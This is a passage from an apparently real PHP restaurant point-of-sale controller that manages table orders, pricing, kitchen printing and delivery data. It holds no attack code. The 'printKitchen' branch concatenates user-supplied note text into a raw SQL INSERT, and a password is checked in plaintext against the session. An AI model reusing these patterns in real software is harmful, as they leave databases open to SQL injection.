                        $orderDetails->notes = getNotesSum($orderDetails->notes, $value->notes);
                        $orderDetails->notesPrinted = getNotesSum($orderDetails->notesPrinted, $value->notesPrinted);
                        //
                        $isprinted = 0;
                        if ($value->isPrinted == 1 || $orderDetails->isPrinted == 1) {
                            $isprinted = 1;
                        }
                        $orderDetails->isPrinted = $isprinted;
                        $orderDetails->printedQuantity += $value->printedQuantity;
                        $restaurantOrderDetailsDAO->update($orderDetails);
                    } else {
                        //add product to order
                        $restaurantOrderDetails->orderId = $order->id;
                        $restaurantOrderDetails->productId = $productId;
                        $restaurantOrderDetails->quantity = $quantity;
                        switch ($hallData->hallPrice) {
                            case 0:
                                $restaurantOrderDetails->price = $productData->productSellAllPrice;
                                break;
                            case 1:
                                $restaurantOrderDetails->price = $productData->productSellUnitPrice;
                                break;
                            case 2:
                                $restaurantOrderDetails->price = $productData->productSellHalfPrice;
                                break;
                        }

                        $restaurantOrderDetails->total = $restaurantOrderDetails->price * $restaurantOrderDetails->quantity;
                        $restaurantOrderDetails->notes = getNotesSum($restaurantOrderDetails->notes, $value->notes);
                        $restaurantOrderDetails->notesPrinted = getNotesSum($restaurantOrderDetails->notesPrinted, $value->notesPrinted);

                        $restaurantOrderDetails->isPrinted = $value->isPrinted;
                        $restaurantOrderDetails->printedQuantity = $value->printedQuantity;
                        $restaurantOrderDetailsDAO->insert($restaurantOrderDetails);
                    }
                } else {
                    //make new order
                    $restaurantOrder->hallUserId = $_SESSION['userid'];
                    $restaurantOrder->tableId = $tableId;
                    $restaurantOrder->totalBill = 0;
                    $restaurantOrder->discount = 0;
                    $restaurantOrder->tax = 0;
                    $restaurantOrder->netBill = 0;
                    $restaurantOrder->finished = 0;
                    $restaurantOrder->sellBillId = 0;
                    $restaurantOrder->daySreial = 0;
                    $restaurantOrder->userId = $_SESSION['userid'];
                    $restaurantOrder->sysdate = date('Y-m-d H:i:s');
                    $restaurantOrder->del = 0;
                    $restaurantOrder->billComment = '';
                    $orderId = $newOrderId = $restaurantOrderDAO->insert($restaurantOrder);
                    //add product to order
                    $restaurantOrderDetails->orderId = $orderId;
                    $restaurantOrderDetails->productId = $productId;
                    $restaurantOrderDetails->quantity = $quantity;
                    switch ($hallData->hallPrice) {
                        case 0:
                            $restaurantOrderDetails->price = $productData->productSellAllPrice;
                            break;
                        case 1:
                            $restaurantOrderDetails->price = $productData->productSellUnitPrice;
                            break;
                        case 2:
                            $restaurantOrderDetails->price = $productData->productSellHalfPrice;
                            break;
                    }

                    $restaurantOrderDetails->total = $restaurantOrderDetails->price * $restaurantOrderDetails->quantity;
                    $restaurantOrderDetails->notes = getNotesSum($restaurantOrderDetails->notes, $value->notes);
                    $restaurantOrderDetails->notesPrinted = getNotesSum($restaurantOrderDetails->notesPrinted, $value->notesPrinted);
                    $restaurantOrderDetails->isPrinted = $value->isPrinted;
                    $restaurantOrderDetails->printedQuantity = $value->printedQuantity;
                    $restaurantOrderDetailsDAO->insert($restaurantOrderDetails);
                }
            }
        }
        $restaurantTableEX->updateBeingUsed(1, $tableId);
        ########################################
        $oldTable = (int) $_POST["oldTable"]; //table to close
        //2- remove order and close table
        $restaurantTableEX->updateBeingUsed(0, $oldTable);
        //if there is order del it
        $restaurantOrderDAO->delete($oldOrderId);
        //delete order details
        $restaurantOrderDetailsDAO->deleteByOrderId($oldOrderId);
        //if it was delivery del delivery details
        $restaurantOrderDeliveryDetailDAO->deleteByOrderId($oldOrderId);
        //update order id to new order id in print kitchen table
        $restaurantkitchenprintEX->updateOrderIdEX($oldOrderId, $newOrderId);
        //3- get tables with new conditions
        //conditions are in html
        //show tables that not del and (user is allowed to see table   or   usergroup can see all tables )
        $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
        $smarty->assign("Usergroupdata", $Usergroupdata);
        if ($Usergroupdata->takeAway == 1 && $Usergroupdata->delivery == 1 && $Usergroupdata->hall == 1) {
            $queryString = '';
        } else if ($Usergroupdata->takeAway == 0 && $Usergroupdata->delivery == 0 && $Usergroupdata->hall == 0) {
            $queryString = ' and restauranttable.id = -1000 ';
        } else {
            $queryString = ' and ( ';
            if ($Usergroupdata->hall == 1) {
                $queryString .= ' restauranttable.id > 0 ';
            }
            if ($Usergroupdata->takeAway == 1) {
                if ($Usergroupdata->hall == 1) {
                    $queryString .= ' or ';
                }
                $queryString .= ' restauranttable.id = -1  ';
            }
            if ($Usergroupdata->delivery == 1) {
                if ($Usergroupdata->hall == 1 || $Usergroupdata->takeAway == 1) {
                    $queryString .= ' or ';
                }
                $queryString .= ' restauranttable.id = -2 ';
            }
            $queryString .= ' ) ';
        }

        $restaurantTables = $restaurantTableEX->queryAllEX($queryString);
        foreach ($restaurantTables as $value) {
            $value->hallUsers = explode(',', $value->hallUsers);
        }
        $Usergroupdata = $UsergroupDAO->load($_SESSION['usergroupid']);
        $data = array($restaurantTables, $Usergroupdata, $tableData->name);
        echo json_encode($data);

        $mytransactions->commit();
    } catch (Exception $ex) {
        $mytransactions->rollback();
    }
} elseif ($do == "getFoodMenu") {
    $tableId = (int) $_POST["tableId"];
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);

    $lastLevelCatIDS = array();
    //array_push($lastLevelCatIDS, $productCatId);
    getAllSubCatInMenu(0, 2); //mode = 2 get last level cats

    $productsArr = array();
    foreach ($lastLevelCats as $cat) {
        $products = $productExt->queryByCatInMenuEX($cat->productCatId);
        foreach ($products as $value) {
            array_push($productsArr, $value);
        }
    }
    $data = array($lastLevelCats, $productsArr, $hallData);
    echo json_encode($data);
} elseif ($do == "addtaxes") {
    $itr = (int) $_POST["itr"];
    $itr2 = (int) $_POST["itr2"];
    $smarty->assign("itr", $itr);
    $smarty->assign("itr2", $itr2);
    $smarty->display("sellbillview/taxes.html");
} elseif ($do == "removetaxes") {
    $itr = (int) $_POST["id"];
    $ordertype = (int) $_POST["ordertype"];
    if ($ordertype == 0) { //bill
        R::exec("UPDATE `sellbilldetailtax` SET `conditions`= 1 WHERE sellbilldetailid = $itr and (is_offer is null or is_offer !=1)");
    } elseif ($ordertype == 1) { //offer
        R::exec("UPDATE `sellbilldetailtax` SET `conditions`= 1 WHERE sellbilldetailid = $itr and is_offer =1");
    }
} elseif ($do == "removeellbilldetailtax") {
    $itr = (int) $_POST["id"];
    R::exec("UPDATE `sellbilldetailtax` SET `conditions`= 1 WHERE id = $itr");
} elseif ($do == "addProductToOrder") {
    $productId = (int) $_POST["productId"];
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $productData = $productDAO->load($productId);
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProduct($order->id, $productId);
        if (count($orderDetails) > 0) {
            //product already exist increase quantity
            $orderDetails = $orderDetails[0];
            $orderDetails->quantity++;
            switch ($hallData->hallPrice) {
                case 0:
                    $orderDetails->price = $productData->productSellAllPrice;
                    break;
                case 1:
                    $orderDetails->price = $productData->productSellUnitPrice;
                    break;
                case 2:
                    $orderDetails->price = $productData->productSellHalfPrice;
                    break;
            }

            $orderDetails->total = $orderDetails->price * $orderDetails->quantity;
            $restaurantOrderDetailsDAO->update($orderDetails);
        } else {
            //add product to order
            $restaurantOrderDetails->orderId = $order->id;
            $restaurantOrderDetails->productId = $productId;
            $restaurantOrderDetails->quantity = 1;
            switch ($hallData->hallPrice) {
                case 0:
                    $restaurantOrderDetails->price = $productData->productSellAllPrice;
                    break;
                case 1:
                    $restaurantOrderDetails->price = $productData->productSellUnitPrice;
                    break;
                case 2:
                    $restaurantOrderDetails->price = $productData->productSellHalfPrice;
                    break;
            }

            $restaurantOrderDetails->total = $restaurantOrderDetails->price * $restaurantOrderDetails->quantity;
            $restaurantOrderDetails->isPrinted = 0;
            $restaurantOrderDetails->printedQuantity = 0;
            $restaurantOrderDetailsDAO->insert($restaurantOrderDetails);
        }
    } else {
        $datephp = date('Y-m-d');
        // $startdate = date('Y-m-d', strtotime("-1 days"));
        /* -- get next order number of the day ------------------------------ */
        $today = date('Y-m-d');
        $yesterday = date("Y-m-d", strtotime('-1 days'));
        if (isset($Programsettingdata->reportsPlusHours) && !empty($Programsettingdata->reportsPlusHours)) {
            $reportsPlusHours = $Programsettingdata->reportsPlusHours + 24; //24 to get the end of the day and add search hours to it
            $endToday = date('Y-m-d H:i:s', strtotime('+' . $reportsPlusHours . ' hour +0 minutes', strtotime($today)));
            $startToday = date('Y-m-d H:i:s', strtotime('+' . $Programsettingdata->reportsPlusHours . ' hour +0 minutes', strtotime($today)));
            //
            $endYesterday = date('Y-m-d H:i:s', strtotime('+' . $reportsPlusHours . ' hour +0 minutes', strtotime($yesterday)));
            $startYesterday = date('Y-m-d H:i:s', strtotime('+' . $Programsettingdata->reportsPlusHours . ' hour +0 minutes', strtotime($yesterday)));
        } else {
            $endToday = $today . ' 23:59:59';
            $startToday = $today . " 00:00:00";
            //
            $endYesterday = $today . ' 23:59:59';
            $startYesterday = $today . " 00:00:00";
        }
        if (date('H') < $Programsettingdata->reportsPlusHours) {
            $sql = "and sysdate >= '" . $startYesterday . "' and sysdate <= '" . $endYesterday . "'";
        } else {
            $sql = "and sysdate >= '" . $startToday . "' and sysdate <= '" . $endToday . "'";
        }
        $maxDay = $restaurantOrderEX->getMaxDaySreial($sql);
        if (!isset($maxDay) || empty($maxDay)) {
            $maxDay = 0;
        }
        /* ------------------------------------------------------------------ */

        $restaurantTableEX->updateBeingUsed(1, $tableId); //make sure it is open
        //make new order
        $restaurantOrder->hallUserId = $_SESSION['userid'];
        $restaurantOrder->tableId = $tableId;
        $restaurantOrder->totalBill = 0;
        $restaurantOrder->discount = 0;
        $restaurantOrder->tax = 0;
        $restaurantOrder->netBill = 0;
        $restaurantOrder->finished = 0;
        $restaurantOrder->sellBillId = 0;
        $restaurantOrder->daySreial = $maxDay + 1;
        $restaurantOrder->userId = $_SESSION['userid'];
        $restaurantOrder->sysdate = date('Y-m-d H:i:s');
        $restaurantOrder->del = 0;
        $restaurantOrder->billComment = '';
        $orderId = $restaurantOrderDAO->insert($restaurantOrder);
        //add product to order
        $restaurantOrderDetails->orderId = $orderId;
        $restaurantOrderDetails->productId = $productId;
        $restaurantOrderDetails->quantity = 1;
        switch ($hallData->hallPrice) {
            case 0:
                $restaurantOrderDetails->price = $productData->productSellAllPrice;
                break;
            case 1:
                $restaurantOrderDetails->price = $productData->productSellUnitPrice;
                break;
            case 2:
                $restaurantOrderDetails->price = $productData->productSellHalfPrice;
                break;
        }

        $restaurantOrderDetails->total = $restaurantOrderDetails->price * $restaurantOrderDetails->quantity;
        $restaurantOrderDetails->isPrinted = 0;
        $restaurantOrderDetails->printedQuantity = 0;
        $restaurantOrderDetailsDAO->insert($restaurantOrderDetails);
    }

    //get order details
    $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
    $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));

    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "updatepriceAndTotalOrder") {
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);

    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);

    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->queryByOrderId($order->id);
        if (count($orderDetails) > 0) {

            foreach ($orderDetails as $item) {
                $item->price = 0;
                $item->total = 0;
                $restaurantOrderDetailsDAO->update($item);
            }
        }
    }
} elseif ($do == "decreaseProductInOrder") {
    $productId = (int) $_POST["productId"];
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $productData = $productDAO->load($productId);
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProduct($order->id, $productId);
        if (count($orderDetails) > 0) {
            //product already exist decrease quantity
            $orderDetails = $orderDetails[0];
            $orderDetails->quantity--;
            if ($orderDetails->quantity < $orderDetails->printedQuantity && $_SESSION['usergroupid'] > 1) {
                $orderDetails->quantity = $orderDetails->printedQuantity;
            }
            switch ($hallData->hallPrice) {
                case 0:
                    $orderDetails->price = $productData->productSellAllPrice;
                    break;
                case 1:
                    $orderDetails->price = $productData->productSellUnitPrice;
                    break;
                case 2:
                    $orderDetails->price = $productData->productSellHalfPrice;
                    break;
            }

            $orderDetails->total = $orderDetails->price * $orderDetails->quantity;
            $restaurantOrderDetailsDAO->update($orderDetails);

            if ($orderDetails->quantity < 1) {
                $orderDetailsdelete = $restaurantOrderDetailsEX->deleteByOrderIdAndProduct($order->id, $productId);
            }
        }
    }

    //get order details
    $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
    $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));

    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "increaseProductInOrder") {
    $productId = (int) $_POST["productId"];
    $quantitynew = (float) $_POST["quantitynew"];
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $productData = $productDAO->load($productId);
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProduct($order->id, $productId);
        if (count($orderDetails) > 0) {
            //product already exist decrease quantity
            $orderDetails = $orderDetails[0];
            if ($Programsettingdata->quantitynew == 0) {
                $orderDetails->quantity++;
            } else {
                $orderDetails->quantity = $quantitynew;
            }

            switch ($hallData->hallPrice) {
                case 0:
                    $orderDetails->price = $productData->productSellAllPrice;
                    break;
                case 1:
                    $orderDetails->price = $productData->productSellUnitPrice;
                    break;
                case 2:
                    $orderDetails->price = $productData->productSellHalfPrice;
                    break;
            }

            $orderDetails->total = $orderDetails->price * $orderDetails->quantity;
            $restaurantOrderDetailsDAO->update($orderDetails);
        }
    }

    //get order details
    $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
    $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));

    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "checkremovepasswored") {
    $password = $_POST["password"];
    if ($password == $_SESSION['passworduse']) {
        echo 1;
    } else {
        echo 0;
    }
} elseif ($do == "removeProductFromOrder") {
    $productId = (int) $_POST["productId"];
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $productData = $productDAO->load($productId);
    $resTable = $restaurantTableDAO->load($tableId);
    $hallData = $restaurantHallDAO->load($resTable->hallid);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $orderDetails = $restaurantOrderDetailsEX->deleteByOrderIdAndProduct($orderId, $productId);
    }

    //get order details
    $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
    $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));

    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "getOrderDetails") {
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //get order details
        $restaurantOrderDetails = getRestaurantOrderDetails($orderId);
        $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
    }
    //getplaystationpaly data
    $playstation = $restaurantPlaystationPlayDAO->load($order->restaurantplaystationplayid);
    $smarty->assign("playstation", json_encode($playstation));
    $smarty->display("resturant/orderDetails.html");
} elseif ($do == "printKitchen") {
    $tableId = (int) $_POST["tableId"];
    //
    $printForKitchenArr = array();
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $userData = $userDAO->load($order->userId);

    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        $userData = $userDAO->load($order->userId);
        //get order details that not printed for kitchen
        $restaurantOrderDetails = $restaurantOrderDetailsEX->queryByOrderIdEX($orderId);
        if (count($restaurantOrderDetails) > 0) {
            $i = 1;
            $togetherNo = 1;
            $insert_sql = "INSERT INTO restaurantkitchenprint (`id`, `orderId`, `productId`, `quantity`, `notesPrinted`, `togetherNo`, `isPrinted`, `sysDateTime`) VALUES";
            foreach ($restaurantOrderDetails as $detail) {
                $detail->kitchenQuantity = $detail->quantity - $detail->printedQuantity;
                if ($detail->kitchenQuantity > 0) {
                    $notesDiff = getNotesDiff($detail->notes, $detail->notesPrinted);
                    $detail->notesPrinted = $notesDiff;
                    $notesStr = '';
                    if ($detail->notesPrinted != "") {
                        $notesArr = explode(',', $detail->notesPrinted);
                        if (!empty($notesArr[0])) {
                            $notesStr .= $notesArr[0] . ' زيادة عالى ';
                        }
                        if (!empty($notesArr[1])) {
                            $notesStr .= $notesArr[1] . ' زيادة ';
                        }
                        if (!empty($notesArr[2])) {
                            $notesStr .= $notesArr[2] . ' مانو ';
                        }
                        if (!empty($notesArr[3])) {
                            $notesStr .= $notesArr[3] . ' مظبوط ';
                        }
                        if (!empty($notesArr[4])) {
                            $notesStr .= $notesArr[4] . ' عالريحه ';
                        }
                        if (!empty($notesArr[5])) {
                            $notesStr .= $notesArr[5] . ' ساده ';
                        }
                    }
                    $detail->notesStr = $notesStr;
                    array_push($printForKitchenArr, $detail);
                    $restaurantkitchenprint->orderId = $detail->orderId;
                    $restaurantkitchenprint->productId = $detail->productId;
                    $restaurantkitchenprint->quantity = $detail->kitchenQuantity;
                    $restaurantkitchenprint->notesPrinted = $detail->notesPrinted;
                    if ($i == 1) {
                        $lastTogetherNo = $restaurantkitchenprintEX->getLastTogetherNo();
                        if (isset($lastTogetherNo) && !empty($lastTogetherNo)) {
                            $togetherNo = $lastTogetherNo + 1;
                        }
                    }
                    $restaurantkitchenprint->togetherNo = $togetherNo;
                    $restaurantkitchenprint->isPrinted = 0;
                    $restaurantkitchenprint->sysDateTime = date('Y-m-d H:i:s');
                    //$restaurantkitchenprintId = $restaurantkitchenprintDAO->insert($restaurantkitchenprint);
                    $insert_sql .= "(NULL,$restaurantkitchenprint->orderId,$restaurantkitchenprint->productId,$restaurantkitchenprint->quantity,'" . $restaurantkitchenprint->notesPrinted . "',$restaurantkitchenprint->togetherNo,$restaurantkitchenprint->isPrinted,'" . $restaurantkitchenprint->sysDateTime . "'),";
                    $i++;
                }

                $detail->printedQuantity = $detail->quantity;
                $detail->notesPrinted = $detail->notes;
                //markNotPrintedOrderDetailsAsPrinted
                $detail->isPrinted = 1;
                $restaurantOrderDetailsDAO->update($detail);
            }
            $insert_sql = trim($insert_sql, ',');
            $split = explode(" ", $insert_sql);
            if ($split[count($split) - 1] != "VALUES") {
                $affected_rows = $myRelusergrouppropertieExt->insertBulk($insert_sql);
            }
        }
    }
    if (count($printForKitchenArr) > 0) {
        $smarty->assign("tableId", $tableId);
        $smarty->assign("printForKitchenArr", $printForKitchenArr);
        //
        $tableData = $restaurantTableEX->load($tableId);
        $restaurantHall = $restaurantHallDAO->load($tableData->hallid);
        $smarty->assign("restaurantHall", $restaurantHall);
        $smarty->assign("order", $order);
        $smarty->assign("userData", $userData);

        $smarty->display("resturant/printKitchen.html");
    } else {
        echo -1;
    }
} elseif ($do == "saveDrinkDetails") {
    $tableId = (int) $_POST["tableId"];
    $smarty->assign("tableIdCheckService", $tableId);
    $productId = (int) $_POST["productId"];
    $itr = (int) $_POST["itr"];
    //
    if ($tableId == "bill") {
        $quantity = (int) $_POST["quantity"];
        $restaurantOrderDetails = new stdClass();
        $restaurantOrderDetails->productId = $productId;
        $restaurantOrderDetails->quantity = $quantity;
        $restaurantOrderDetails->printedQuantity = 0;
        $restaurantOrderDetails->notesPrinted = explode(',', '0,0,0,0,0,0');
        $restaurantOrderDetails->notes = explode(',', '0,0,0,0,0,0');
        $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
        $smarty->assign("itr", $itr);
        $smarty->display("resturant/drinkDetails.html");
    } else {
        $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
        $orderId = 0;
        if (count($order) > 0) {
            $order = $order[0];
            $orderId = $order->id;
            //get order details that not printed for kitchen
            $restaurantOrderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProductEX($orderId, $productId);
            if (empty($restaurantOrderDetails->notesPrinted)) {
                $restaurantOrderDetails->notesPrinted = '0,0,0,0,0,0';
            }
            if (empty($restaurantOrderDetails->notes)) {
                $restaurantOrderDetails->notes = '0,0,0,0,0,0';
            }
            $restaurantOrderDetails->notesPrinted = explode(',', $restaurantOrderDetails->notesPrinted);
            $restaurantOrderDetails->notes = explode(',', $restaurantOrderDetails->notes);
            $smarty->assign("restaurantOrderDetails", $restaurantOrderDetails);
            $smarty->assign("itr", $itr);
            $smarty->display("resturant/drinkDetails.html");
        }
    }
} elseif ($do == "saveDrinkDetailsInDB") {
    $tableId = (int) $_POST["tableId"];
    $productId = (int) $_POST["productId"];
    $totalAsNote = $_POST["totalAsNote"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //get order details that not printed for kitchen
        $restaurantOrderDetails = $restaurantOrderDetailsEX->queryByOrderIdAndProductEX($orderId, $productId);
        $restaurantOrderDetails->notes = $totalAsNote;
        $restaurantOrderDetailsDAO->update($restaurantOrderDetails);
        echo 1;
    }
} elseif ($do == "getBillComment") {

    $tableId = (int) $_POST["tableId"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    $comment = "";
    if (count($order) > 0) {
        $order = $order[0];
        $comment = $order->billComment;
    }
    echo $comment;
} elseif ($do == "billComment") {

    $tableId = (int) $_POST["tableId"];
    $billComment = $_POST["billComment"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        $restaurantOrderEX->updateBillComment($orderId, $billComment);
    } else {
        //make new order
        $restaurantOrder->hallUserId = $_SESSION['userid'];
        $restaurantOrder->tableId = $tableId;
        $restaurantOrder->totalBill = 0;
        $restaurantOrder->discount = 0;
        $restaurantOrder->tax = 0;
        $restaurantOrder->netBill = 0;
        $restaurantOrder->finished = 0;
        $restaurantOrder->sellBillId = 0;
        $restaurantOrder->daySreial = 0;
        $restaurantOrder->userId = $_SESSION['userid'];
        $restaurantOrder->sysdate = date('Y-m-d H:i:s');
        $restaurantOrder->del = 0;
        $restaurantOrder->billComment = $billComment;
        $orderId = $restaurantOrderDAO->insert($restaurantOrder);
    }
    echo 1;
} elseif ($do == "saveDeliveryData") {
    $tableId = (int) $_POST["tableId"];
    $clientId = (int) $_POST["clientId"];
    $clientmobile = (int) $_POST["clientmobileCheckBox"];
    $clientphone = (int) $_POST["clientphoneCheckBox"];
    $clientaddress = (int) $_POST["clientaddressCheckBox"];
    $clientdetails = (int) $_POST["clientdetailsCheckBox"];

    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) == 0) {
        $datephp = date('Y-m-d');
        // $startdate = date('Y-m-d', strtotime("-1 days"));
        /* -- get next order number of the day ------------------------------ */
        $today = date('Y-m-d');
        $yesterday = date("Y-m-d", strtotime('-1 days'));
        if (isset($Programsettingdata->reportsPlusHours) && !empty($Programsettingdata->reportsPlusHours)) {
            $reportsPlusHours = $Programsettingdata->reportsPlusHours + 24; //24 to get the end of the day and add search hours to it
            $endToday = date('Y-m-d H:i:s', strtotime('+' . $reportsPlusHours . ' hour +0 minutes', strtotime($today)));
            $startToday = date('Y-m-d H:i:s', strtotime('+' . $Programsettingdata->reportsPlusHours . ' hour +0 minutes', strtotime($today)));
            //
            $endYesterday = date('Y-m-d H:i:s', strtotime('+' . $reportsPlusHours . ' hour +0 minutes', strtotime($yesterday)));
            $startYesterday = date('Y-m-d H:i:s', strtotime('+' . $Programsettingdata->reportsPlusHours . ' hour +0 minutes', strtotime($yesterday)));
        } else {
            $endToday = $today . ' 23:59:59';
            $startToday = $today . " 00:00:00";
            //
            $endYesterday = $today . ' 23:59:59';
            $startYesterday = $today . " 00:00:00";
        }
        if (date('H') < $Programsettingdata->reportsPlusHours) {
            $sql = "and sysdate >= '" . $startYesterday . "' and sysdate <= '" . $endYesterday . "'";
        } else {
            $sql = "and sysdate >= '" . $startToday . "' and sysdate <= '" . $endToday . "'";
        }
        $maxDay = $restaurantOrderEX->getMaxDaySreial($sql);
        if (!isset($maxDay) || empty($maxDay)) {
            $maxDay = 0;
        }
        /* ------------------------------------------------------------------ */
        //make new order
        $restaurantOrder->hallUserId = $_SESSION['userid'];
        $restaurantOrder->tableId = $tableId;
        $restaurantOrder->totalBill = 0;
        $restaurantOrder->discount = 0;
        $restaurantOrder->tax = 0;
        $restaurantOrder->netBill = 0;
        $restaurantOrder->finished = 0;
        $restaurantOrder->sellBillId = 0;
        $restaurantOrder->daySreial = $maxDay + 1;
        $restaurantOrder->userId = $_SESSION['userid'];
        $restaurantOrder->sysdate = date('Y-m-d H:i:s');
        $restaurantOrder->del = 0;
        $restaurantOrder->billComment = '';
        $orderId = $restaurantOrderDAO->insert($restaurantOrder);
        $restaurantOrder->id = $orderId;
        $order[0] = $restaurantOrder;
    }
    if (count($order) > 0 && $clientId > 0) {
        $order = $order[0];
        $orderId = $order->id;
        //thersis order not finished
        $deliveryDetails = $restaurantOrderDeliveryDetailDAO->queryByOrderId($orderId);
        if (count($deliveryDetails) == 0) {
            //insert
            $restaurantOrderDeliveryDetailObj->orderId = $orderId;
            $restaurantOrderDeliveryDetailObj->clientId = $clientId;
            $restaurantOrderDeliveryDetailObj->clientmobile = $clientmobile;
            $restaurantOrderDeliveryDetailObj->clientphone = $clientphone;
            $restaurantOrderDeliveryDetailObj->clientaddress = $clientaddress;
            $restaurantOrderDeliveryDetailObj->clientdetails = $clientdetails;
            $restaurantOrderDeliveryDetailObj->driverId = 0;
            $restaurantOrderDeliveryDetailObj->driverReciveDate = NULL;
            $restaurantOrderDeliveryDetailObj->deliveryStatus = 0;
            $restaurantOrderDeliveryDetailDAO->insert($restaurantOrderDeliveryDetailObj);
        } else {
            //update
            $restaurantOrderDeliveryDetailObj = $deliveryDetails[0];
            $restaurantOrderDeliveryDetailObj->clientId = $clientId;
            $restaurantOrderDeliveryDetailObj->clientmobile = $clientmobile;
            $restaurantOrderDeliveryDetailObj->clientphone = $clientphone;
            $restaurantOrderDeliveryDetailObj->clientaddress = $clientaddress;
            $restaurantOrderDeliveryDetailObj->clientdetails = $clientdetails;
            $restaurantOrderDeliveryDetailDAO->update($restaurantOrderDeliveryDetailObj);
        }
    }
} elseif ($do == "getdeliveryClientData") {
    $tableId = (int) $_POST["tableId"];
    //
    $order = $restaurantOrderEX->queryByTableIdNotFinishedEX($tableId);
    $orderId = 0;
    if (count($order) > 0) {
        $order = $order[0];
        $orderId = $order->id;
        $deliveryDetails = $restaurantOrderDeliveryDetailDAO->queryByOrderId($orderId);
        if (count($deliveryDetails) == 0) {
            if ($tableId == -1) {
                //if table is take away make clientid by def = 1
                $clientId = 1;
                //insert
                $restaurantOrderDeliveryDetailObj->orderId = $orderId;
                $restaurantOrderDeliveryDetailObj->clientId = $clientId;
                $restaurantOrderDeliveryDetailObj->clientmobile = 0;
                $restaurantOrderDeliveryDetailObj->clientphone = 0;
                $restaurantOrderDeliveryDetailObj->clientaddress = 0;
                $restaurantOrderDeliveryDetailObj->clientdetails = 0;
                $restaurantOrderDeliveryDetailObj->driverId = 0;
                $restaurantOrderDeliveryDetailObj->driverReciveDate = NULL;
                $restaurantOrderDeliveryDetailObj->deliveryStatus = 0;
                $restaurantOrderDeliveryDetailDAO->insert($restaurantOrderDeliveryDetailObj);
                //
                $clientData = $clientDAO->load($clientId);
                echo json_encode(array($deliveryDetails[0], $clientData));
            } else {
                echo -2;
            }
        } else {
            $clientId = $deliveryDetails[0]->clientId;
            $clientData = $clientDAO->load($clientId);
            echo json_encode(array($deliveryDetails[0], $clientData));
        }
    } else {
        echo -1;
    }
} elseif ($do == "getPricType") {

    $supplier_id = filter_input(INPUT_POST, 'supplier_id');

    $cli = $myClientRecord->load($supplier_id);

    $data = $cli->priceTypeId;

    echo $data;
}
##
elseif ($do == "ckpass") {
